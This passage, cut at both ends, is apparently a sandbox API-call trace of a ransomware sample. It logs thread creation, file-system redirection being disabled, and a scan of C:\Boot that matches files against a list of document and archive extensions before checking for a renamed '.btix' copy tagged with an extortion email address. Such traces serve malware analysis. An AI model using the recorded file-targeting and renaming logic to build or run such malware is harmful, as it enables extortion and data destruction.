lpStartAddress=0x408d90, lpParameter=0x676140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0146.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x676140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4 [0146.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x676140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0146.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x676140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0146.311] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6becf8 [0146.311] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6becf8, Size=0x20) returned 0x69d970 [0146.311] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bee30 [0146.311] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bee30, Size=0x20) returned 0x69db28 [0146.312] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.312] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.312] Wow64DisableWow64FsRedirection (in: OldValue=0x289ff7c | out: OldValue=0x289ff7c*=0x0) returned 1 [0146.312] lstrlenW (lpString="kernel32.dll") returned 12 [0146.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d970 | out: hHeap=0x660000) returned 1 [0146.312] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.312] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6a4908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0146.312] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0146.575] GetTickCount () returned 0x119bd [0146.575] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0146.776] GetTickCount () returned 0x11a88 [0146.776] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0147.295] GetTickCount () returned 0x11c8b [0147.295] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0147.741] GetTickCount () returned 0x11e50 [0147.741] GetTickCount () returned 0x11e50 [0147.741] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0148.048] GetTickCount () returned 0x11f79 [0148.048] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0148.480] GetTickCount () returned 0x1212f [0148.480] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0148.984] GetTickCount () returned 0x12323 [0148.984] GetTickCount () returned 0x12323 [0148.984] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0149.442] GetTickCount () returned 0x124e8 [0149.442] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0149.569] GetTickCount () returned 0x12575 [0149.569] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0149.829] GetTickCount () returned 0x1266f [0149.829] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0149.987] GetTickCount () returned 0x1270b [0149.987] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0150.338] GetTickCount () returned 0x12872 [0150.338] GetTickCount () returned 0x12872 [0150.338] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0150.790] GetTickCount () returned 0x12a37 [0150.790] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0151.319] GetTickCount () returned 0x12c4b [0151.319] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0151.764] GetTickCount () returned 0x12e00 [0151.764] GetTickCount () returned 0x12e00 [0151.764] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0152.243] GetTickCount () returned 0x12fe4 [0152.243] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0152.733] GetTickCount () returned 0x131c9 [0152.733] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0153.249] GetTickCount () returned 0x133cc [0153.249] GetTickCount () returned 0x133cc [0153.249] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0153.637] GetTickCount () returned 0x13553 [0153.637] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0154.177] GetTickCount () returned 0x13766 [0154.177] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0154.477] GetTickCount () returned 0x1389f [0154.477] GetTickCount () returned 0x1389f [0154.477] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0154.848] GetTickCount () returned 0x13a06 [0154.848] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0155.180] GetTickCount () returned 0x13b4e [0155.180] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0155.875] GetTickCount () returned 0x13e0d [0155.875] GetTickCount () returned 0x13e0d [0155.875] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0156.320] GetTickCount () returned 0x13fd3 [0156.320] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0156.602] GetTickCount () returned 0x140ec [0156.602] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0157.186] GetTickCount () returned 0x1432e [0157.186] GetTickCount () returned 0x1432e [0157.186] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0157.447] GetTickCount () returned 0x14438 [0157.447] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0157.984] GetTickCount () returned 0x1464b [0157.984] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0158.494] GetTickCount () returned 0x1484e [0158.494] GetTickCount () returned 0x1484e [0158.494] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0158.939] GetTickCount () returned 0x14a04 [0158.939] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0159.125] GetTickCount () returned 0x14abf [0159.125] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0159.489] GetTickCount () returned 0x14c27 [0159.489] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0159.732] GetTickCount () returned 0x14d21 [0159.732] GetTickCount () returned 0x14d21 [0159.732] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0159.839] GetTickCount () returned 0x14d8e [0159.839] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0160.147] GetTickCount () returned 0x14ec7 [0160.147] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0160.370] GetTickCount () returned 0x14fa1 [0160.370] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0160.700] GetTickCount () returned 0x150ea [0160.700] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0160.969] GetTickCount () returned 0x151f3 [0160.969] GetTickCount () returned 0x151f3 [0160.969] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0161.463] GetTickCount () returned 0x153e7 [0161.463] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0161.568] GetTickCount () returned 0x15455 [0161.568] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0161.677] GetTickCount () returned 0x154c2 [0161.677] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0161.792] GetTickCount () returned 0x1552f [0161.792] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0161.948] GetTickCount () returned 0x155cc [0161.948] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0162.052] GetTickCount () returned 0x15639 [0162.052] GetTickCount () returned 0x15639 [0162.052] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0162.193] GetTickCount () returned 0x156c6 [0162.193] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) returned 0x102 [0162.336] GetTickCount () returned 0x15752 [0162.336] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x64) Thread: id = 91 os_tid = 0xfb0 [0146.313] GetTickCount () returned 0x118b3 [0146.313] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x24) returned 0x6c4008 [0146.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6c4008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0146.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6c4008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0146.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6c4008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec [0146.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6c4008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0 [0146.314] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bee30 [0146.314] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bee30, Size=0x20) returned 0x69db28 [0146.314] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bee30 [0146.314] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bee30, Size=0x20) returned 0x69dba0 [0146.315] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.315] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.315] Wow64DisableWow64FsRedirection (in: OldValue=0x299ff7c | out: OldValue=0x299ff7c*=0x0) returned 1 [0146.315] lstrlenW (lpString="kernel32.dll") returned 12 [0146.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.315] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.315] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6c5120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0146.315] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0146.575] GetTickCount () returned 0x119bd [0146.575] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0146.776] GetTickCount () returned 0x11a88 [0146.776] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0147.295] GetTickCount () returned 0x11c8b [0147.295] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0147.741] GetTickCount () returned 0x11e50 [0147.741] GetTickCount () returned 0x11e50 [0147.741] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0148.049] GetTickCount () returned 0x11f79 [0148.049] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0148.480] GetTickCount () returned 0x1212f [0148.480] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0148.984] GetTickCount () returned 0x12323 [0148.984] GetTickCount () returned 0x12323 [0148.984] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0149.442] GetTickCount () returned 0x124e8 [0149.442] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0149.569] GetTickCount () returned 0x12575 [0149.569] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0149.829] GetTickCount () returned 0x1266f [0149.829] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0149.987] GetTickCount () returned 0x1270b [0149.987] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0150.338] GetTickCount () returned 0x12872 [0150.338] GetTickCount () returned 0x12872 [0150.338] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0150.790] GetTickCount () returned 0x12a37 [0150.790] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0151.319] GetTickCount () returned 0x12c4b [0151.319] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0151.764] GetTickCount () returned 0x12e00 [0151.764] GetTickCount () returned 0x12e00 [0151.764] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0152.243] GetTickCount () returned 0x12fe4 [0152.244] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0152.733] GetTickCount () returned 0x131c9 [0152.733] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0153.249] GetTickCount () returned 0x133cc [0153.249] GetTickCount () returned 0x133cc [0153.249] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0153.637] GetTickCount () returned 0x13553 [0153.637] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0154.177] GetTickCount () returned 0x13766 [0154.177] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0154.477] GetTickCount () returned 0x1389f [0154.477] GetTickCount () returned 0x1389f [0154.478] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0154.848] GetTickCount () returned 0x13a06 [0154.848] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0155.181] GetTickCount () returned 0x13b4e [0155.181] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0155.875] GetTickCount () returned 0x13e0d [0155.875] GetTickCount () returned 0x13e0d [0155.875] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0156.320] GetTickCount () returned 0x13fd3 [0156.320] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0156.602] GetTickCount () returned 0x140ec [0156.602] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0157.186] GetTickCount () returned 0x1432e [0157.186] GetTickCount () returned 0x1432e [0157.186] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0157.447] GetTickCount () returned 0x14438 [0157.447] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0157.984] GetTickCount () returned 0x1464b [0157.984] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0158.494] GetTickCount () returned 0x1484e [0158.494] GetTickCount () returned 0x1484e [0158.494] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0158.939] GetTickCount () returned 0x14a04 [0158.939] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0159.126] GetTickCount () returned 0x14abf [0159.126] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0159.489] GetTickCount () returned 0x14c27 [0159.489] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0159.732] GetTickCount () returned 0x14d21 [0159.732] GetTickCount () returned 0x14d21 [0159.732] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0159.839] GetTickCount () returned 0x14d8e [0159.839] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0160.147] GetTickCount () returned 0x14ec7 [0160.147] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0160.370] GetTickCount () returned 0x14fa1 [0160.370] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0160.700] GetTickCount () returned 0x150ea [0160.700] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0160.968] GetTickCount () returned 0x151f3 [0160.968] GetTickCount () returned 0x151f3 [0160.968] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0161.463] GetTickCount () returned 0x153e7 [0161.463] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0161.568] GetTickCount () returned 0x15455 [0161.568] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0161.677] GetTickCount () returned 0x154c2 [0161.677] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0161.792] GetTickCount () returned 0x1552f [0161.792] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0161.948] GetTickCount () returned 0x155cc [0161.948] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0162.052] GetTickCount () returned 0x15639 [0162.052] GetTickCount () returned 0x15639 [0162.052] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0162.193] GetTickCount () returned 0x156c6 [0162.193] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) returned 0x102 [0162.336] GetTickCount () returned 0x15752 [0162.336] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x64) Thread: id = 95 os_tid = 0xfc4 [0146.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x70bd78 [0146.434] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x71bd80 [0146.435] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bee48 [0146.435] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6fa428 [0146.435] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6beea8 [0146.435] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x38ef020 [0146.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6beec0 [0146.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6beec0, Size=0x20) returned 0x69db28 [0146.437] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6beec0 [0146.437] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6beec0, Size=0x20) returned 0x69dba0 [0146.437] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.437] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.437] Wow64DisableWow64FsRedirection (in: OldValue=0x269ff50 | out: OldValue=0x269ff50*=0x0) returned 1 [0146.437] lstrlenW (lpString="kernel32.dll") returned 12 [0146.437] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.437] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.437] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.438] Sleep (dwMilliseconds=0x64) [0146.696] Sleep (dwMilliseconds=0x64) [0146.924] lstrcmpiW (lpString1=".LOG", lpString2=".btix") returned 1 [0146.924] lstrlenW (lpString="BCD.LOG") returned 7 [0146.924] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.924] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.924] lstrlenW (lpString=".doc") returned 4 [0146.924] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0146.925] lstrlenW (lpString=".docx") returned 5 [0146.925] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0146.925] lstrlenW (lpString=".pdf") returned 4 [0146.925] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0146.925] lstrlenW (lpString=".xls") returned 4 [0146.925] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0146.925] lstrlenW (lpString=".xlsx") returned 5 [0146.925] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0146.925] lstrlenW (lpString=".ppt") returned 4 [0146.925] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0146.925] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.925] lstrlenW (lpString=".zip") returned 4 [0146.925] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0146.925] lstrlenW (lpString=".rar") returned 4 [0146.925] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0146.925] lstrlenW (lpString=".bz2") returned 4 [0146.925] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0146.925] lstrlenW (lpString=".7z") returned 3 [0146.925] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0146.925] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.925] lstrlenW (lpString=".dbf") returned 4 [0146.925] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0146.925] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.925] lstrlenW (lpString=".1cd") returned 4 [0146.925] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0146.925] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.925] lstrlenW (lpString=".jpg") returned 4 [0146.925] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0146.925] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.925] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.925] lstrlenW (lpString=".doc") returned 4 [0146.925] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0146.925] lstrlenW (lpString=".docx") returned 5 [0146.925] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0146.925] lstrlenW (lpString=".pdf") returned 4 [0146.926] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0146.926] lstrlenW (lpString=".xls") returned 4 [0146.926] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0146.926] lstrlenW (lpString=".xlsx") returned 5 [0146.926] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0146.926] lstrlenW (lpString=".ppt") returned 4 [0146.926] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0146.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.926] lstrlenW (lpString=".zip") returned 4 [0146.926] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0146.926] lstrlenW (lpString=".rar") returned 4 [0146.926] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0146.926] lstrlenW (lpString=".bz2") returned 4 [0146.926] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0146.926] lstrlenW (lpString=".7z") returned 3 [0146.926] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0146.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.926] lstrlenW (lpString=".dbf") returned 4 [0146.926] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0146.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.926] lstrlenW (lpString=".1cd") returned 4 [0146.926] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0146.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0146.926] lstrlenW (lpString=".jpg") returned 4 [0146.926] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0146.926] lstrcmpiW (lpString1=".p7b", lpString2=".btix") returned 1 [0146.926] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0146.926] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.171] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=4662) returned 1 [0147.171] CloseHandle (hObject=0x338) returned 1 [0147.171] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0147.171] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.171] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.171] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.172] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.172] lstrlenW (lpString=".doc") returned 4 [0147.172] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0147.172] lstrlenW (lpString=".docx") returned 5 [0147.172] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0147.172] lstrlenW (lpString=".pdf") returned 4 [0147.172] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0147.172] lstrlenW (lpString=".xls") returned 4 [0147.172] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0147.172] lstrlenW (lpString=".xlsx") returned 5 [0147.172] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0147.172] lstrlenW (lpString=".ppt") returned 4 [0147.172] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0147.172] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.172] lstrlenW (lpString=".zip") returned 4 [0147.172] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0147.172] lstrlenW (lpString=".rar") returned 4 [0147.172] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0147.172] lstrlenW (lpString=".bz2") returned 4 [0147.172] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0147.172] lstrlenW (lpString=".7z") returned 3 [0147.172] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0147.172] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.172] lstrlenW (lpString=".dbf") returned 4 [0147.172] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0147.172] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.172] lstrlenW (lpString=".1cd") returned 4 [0147.172] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0147.172] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.172] lstrlenW (lpString=".jpg") returned 4 [0147.172] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0147.172] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.172] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0147.173] lstrlenW (lpString=".doc") returned 4 [0147.173] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0147.173] lstrlenW (lpString=".docx") returned 5 [0147.173] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0147.173] lstrlenW (lpString=".pdf") returned 4 [0147.173] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0147.173] lstrlenW (lpString=".xls") returned 4 [0147.173] lstrcmpiW (lpString1=".xls", 